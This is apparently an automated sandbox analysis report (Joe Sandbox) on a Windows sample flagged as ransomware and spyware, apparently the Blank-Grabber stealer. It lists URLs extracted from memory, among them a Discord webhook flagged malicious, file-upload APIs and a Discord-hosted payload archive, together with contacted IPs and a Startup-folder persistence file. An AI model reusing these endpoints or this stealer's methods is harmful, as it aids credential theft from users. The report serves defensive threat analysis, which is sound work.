https://github.com/urllib3/urllib3/issues/2168	VSSADMIN.EXE.exe, 00000001.00000003.192576009.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	VSSADMIN.EXE.exe, 00000001.00000003.189920854.0000014C6ADCA000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189986704.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190043749.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190014863.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244567469.0000014C6AD99000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189933314.0000014C6ADB1000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244567469.0000014C6ADC2000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190159085.0000014C6ADD9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2680	VSSADMIN.EXE.exe, 00000001.00000003.192576009.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc2388#section-4.4	VSSADMIN.EXE.exe, 00000001.00000002.244829623.0000014C6CEB0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	VSSADMIN.EXE.exe, 00000001.00000003.192490005.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192251935.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190636870.0000014C6CC70000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192761325.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191866250.0000014C6CC6F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192576009.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192002784.0000014C6CC6A000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CC54000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191661797.0000014C6CC6A000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190589554.0000014C6CC70000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191646152.0000014C6CBE7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.anonfiles.com/upload	VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blank-2MD3E.in	VSSADMIN.EXE.exe, 00000001.00000002.245250730.0000014C6D658000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.203170941.000001961006E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.213633316.000001FB930A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.222515126.000001FBA2F10000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.222515126.000001FBA3052000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discord.com/api/v9/users/	VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	VSSADMIN.EXE.exe, 00000001.00000002.245121622.0000014C6D2C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://cacerts.digi	VSSADMIN.EXE.exe, 00000000.00000003.188122863.000002413348F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0205/	VSSADMIN.EXE.exe, 00000001.00000003.191782438.0000014C6CBDC000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191891921.0000014C6CBD7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191706435.0000014C6CBD7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244706685.0000014C6CAB0000.00000004.00001000.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190653423.0000014C6CBDC000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190620855.0000014C6CBDB000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192012033.0000014C6CBDC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/3020	VSSADMIN.EXE.exe, 00000001.00000003.192576009.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000008.00000002.200799345.0000019600001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.213633316.000001FB92EA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.discordapp.com/attachments/1125126396101021879/1152337129716842596/Blank-user.rar	VSSADMIN.EXE.exe, 00000001.00000003.244317157.0000014C6CDAB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	VSSADMIN.EXE.exe, 00000001.00000002.245190782.0000014C6D540000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	VSSADMIN.EXE.exe, 00000001.00000003.189920854.0000014C6ADCA000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189986704.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244623924.0000014C6C608000.00000004.00001000.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190043749.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190014863.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189933314.0000014C6ADB1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoftDOWNLO~1JSOy.0	VSSADMIN.EXE.exe, 00000001.00000002.244872297.0000014C6CFFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000025.00000002.213633316.000001FB930A4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.200799345.0000019600202000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000025.00000002.213633316.000001FB930A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000008.00000002.200799345.000001960159C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.200799345.00000196013E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.200799345.0000019601682000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.200799345.00000196015CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.213633316.000001FB94965000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	VSSADMIN.EXE.exe, 00000001.00000003.189920854.0000014C6ADCA000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189986704.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190043749.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190014863.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244567469.0000014C6AD99000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189933314.0000014C6ADB1000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244567469.0000014C6ADC2000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190159085.0000014C6ADD9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000025.00000002.222515126.000001FBA3052000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	false		high
https://httpbin.org/	VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CC54000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	VSSADMIN.EXE.exe, 00000001.00000003.192222187.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.comodoca.p	VSSADMIN.EXE.exe, 00000001.00000003.244166649.0000014C6D0D5000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244940177.0000014C6D0D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000025.00000002.213633316.000001FB930A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://images-ext-1.discordapp.net/external/etSU0hGkd0ttMXA41AUjUl74oI1ajbez8WS2N-KLvK4/https/raw.g	VSSADMIN.EXE.exe, 00000001.00000003.244230392.0000014C6D0A8000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.244317157.0000014C6CDAB000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244940177.0000014C6D0A8000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244940177.0000014C6D0BD000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244787764.0000014C6CDAD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CBB0000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.244259837.0000014C6CFED000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244863597.0000014C6CFEE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	VSSADMIN.EXE.exe, 00000001.00000003.189920854.0000014C6ADCA000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189986704.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190043749.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190014863.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244567469.0000014C6AD99000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189933314.0000014C6ADB1000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244567469.0000014C6ADC2000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190159085.0000014C6ADD9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/favicon.ico	VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.globalT	VSSADMIN.EXE.exe, 00000001.00000003.244166649.0000014C6D0D5000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244940177.0000014C6D0D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.python.org/psf/license/	VSSADMIN.EXE.exe, VSSADMIN.EXE.exe, 00000001.00000002.245659423.00007FFD40388000.00000040.00000001.01000000.00000004.sdmp	false		high
http://ip-api.com/line/?fields=hostingr	VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.micro	powershell.exe, 00000025.00000002.224011476.000001FBAB187000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.anonfiles.com/uploadr	VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tools.ietf.org/html/rfc6125#section-6.4.3	VSSADMIN.EXE.exe, 00000001.00000002.245190782.0000014C6D5F4000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.200799345.0000019600202000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.microsoft.c	powershell.exe, 00000025.00000002.213108359.000001FB90F99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google.com/mail	VSSADMIN.EXE.exe, 00000001.00000002.244670872.0000014C6C9B0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://go.microsoft.ctain	powershell.exe, 00000025.00000002.213108359.000001FB90F99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	VSSADMIN.EXE.exe, 00000001.00000003.190159085.0000014C6ADD9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	VSSADMIN.EXE.exe, 00000001.00000003.192222187.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://foss.heptapod.net/pypy/pypy/-/issues/3539	VSSADMIN.EXE.exe, 00000001.00000002.245121622.0000014C6D2C0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CC54000.00000004.00000020.00020000.00000000.sdmp	false		high
http://google.com/	VSSADMIN.EXE.exe, 00000001.00000002.244872297.0000014C6CFFD000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.245055208.0000014C6D1B3000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.244345388.0000014C6CFFD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.gofile.io/getServerr	VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.python.org/download/releases/2.3/mro/.	VSSADMIN.EXE.exe, 00000001.00000003.189820148.0000014C6C9F5000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244623924.0000014C6C580000.00000004.00001000.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189777515.0000014C6CA10000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189806826.0000014C6CA14000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189777515.0000014C6C9F5000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189789642.0000014C6CA14000.00000004.00000020.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN	VSSADMIN.EXE.exe, 00000001.00000002.245055208.0000014C6D1B3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000025.00000002.222515126.000001FBA3052000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discordapp.com/api/v9/users/	VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfpf	VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ip-api.com/json/?fields=225545r	VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2920	VSSADMIN.EXE.exe, 00000001.00000002.245190782.0000014C6D53C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://media.discordapp.net/attachments/1125126396101021879/1152337129716842596/Blank-user.rar	VSSADMIN.EXE.exe, 00000001.00000003.244317157.0000014C6CDAB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://yahoo.com/	VSSADMIN.EXE.exe, 00000001.00000002.244670872.0000014C6C9B0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	VSSADMIN.EXE.exe, 00000001.00000003.192742374.0000014C6D005000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.245103939.0000014C6D29B000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192683834.0000014C6D29E000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192750598.0000014C6D280000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192683834.0000014C6D250000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.244150450.0000014C6D29B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/multipage/	VSSADMIN.EXE.exe, 00000001.00000002.245082174.0000014C6D256000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.244323782.0000014C6D256000.00000004.00000020.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings	VSSADMIN.EXE.exe, 00000001.00000002.245190782.0000014C6D51C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000025.00000002.222515126.000001FBA3052000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.iana.org/time-zones/repository/tz-link.html	VSSADMIN.EXE.exe, 00000001.00000003.192222187.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discord.com/api/webhooks/1125357329798418472/yWPfp1iKyx0rkQloEOr9Xk-aX81R6WKX-1QBrT7zz3erb7v	VSSADMIN.EXE.exe, 00000001.00000002.245142886.0000014C6D3F0000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.gofile.io/getServer	VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png	VSSADMIN.EXE.exe, 00000001.00000002.245082174.0000014C6D24A000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244787764.0000014C6CDAD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.203170941.000001961006E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.213633316.000001FB930A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.222515126.000001FBA2F10000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.222515126.000001FBA3052000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngz	VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://json.org	VSSADMIN.EXE.exe, 00000001.00000003.192539784.0000014C6CCF4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/	VSSADMIN.EXE.exe, 00000001.00000002.244829623.0000014C6CEB0000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CC54000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dotnet.micr	VSSADMIN.EXE.exe, 00000001.00000003.244243794.0000014C6D092000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google.com/	VSSADMIN.EXE.exe, 00000001.00000002.244670872.0000014C6C9B0000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244829623.0000014C6CEB0000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CC54000.00000004.00000020.00020000.00000000.sdmp	false		high
https://google.com/mail/	VSSADMIN.EXE.exe, 00000001.00000002.244670872.0000014C6C9B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfp	VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugs.python.org/issue42195.	VSSADMIN.EXE.exe, 00000001.00000003.192780632.0000014C6CC94000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192761325.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CC54000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192563442.0000014C6CC94000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192539784.0000014C6CCF4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2920P	VSSADMIN.EXE.exe, 00000001.00000002.245190782.0000014C6D53C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://google.com/mail/	VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CCC8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Blank-c/Blank-Grabber	VSSADMIN.EXE.exe, 00000001.00000002.244872297.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244787764.0000014C6CDAD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.openssl.org/H	VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.245994756.00007FFD43FB3000.00000004.00000001.01000000.00000010.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmp	false		high
http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);	VSSADMIN.EXE.exe, 00000001.00000003.190605654.0000014C6CBE7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoftESSAG~1.JSOy.0	VSSADMIN.EXE.exe, 00000001.00000003.244345388.0000014C6CFFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0263/	VSSADMIN.EXE.exe, 00000001.00000002.245659423.00007FFD402EB000.00000040.00000001.01000000.00000004.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
162.159.138.232	discord.com	United States		13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1309234
Start date and time:	2023-09-15 22:15:10 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	96
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	VSSADMIN.EXE.exe
Detection:	MAL
Classification:	mal100.rans.troj.adwa.spyw.expl.evad.winEXE@126/90@8/3
EGA Information:	Successful, ratio: 60%
HDC Information:	Failed
HCA Information:	Successful, ratio: 95% Number of executed functions: 133 Number of non-executed functions: 213
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 142.251.32.67, 204.79.197.200, 13.107.21.200
Excluded domains from analysis (whitelisted): kv601.prod.do.dsp.mp.microsoft.com, geover.prod.do.dsp.mp.microsoft.com, client.wns.windows.com, fs.microsoft.com, geo.prod.do.dsp.mp.microsoft.com, mm-mm.bing.net.trafficmanager.net, dual-a-0001.a-msedge.net, gstatic.com, displaycatalog.mp.microsoft.com, arc.msn.com
Execution Graph export aborted for target powershell.exe, PID 6128 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7028 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: VSSADMIN.EXE.exe

Simulations

Behavior and APIs

Time	Type	Description
22:15:58	API Interceptor	79x Sleep call for process: powershell.exe modified
22:15:58	API Interceptor	7x Sleep call for process: WMIC.exe modified

Created / dropped Files

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7380816
Entropy (8bit):	7.992692630132626
Encrypted:	true
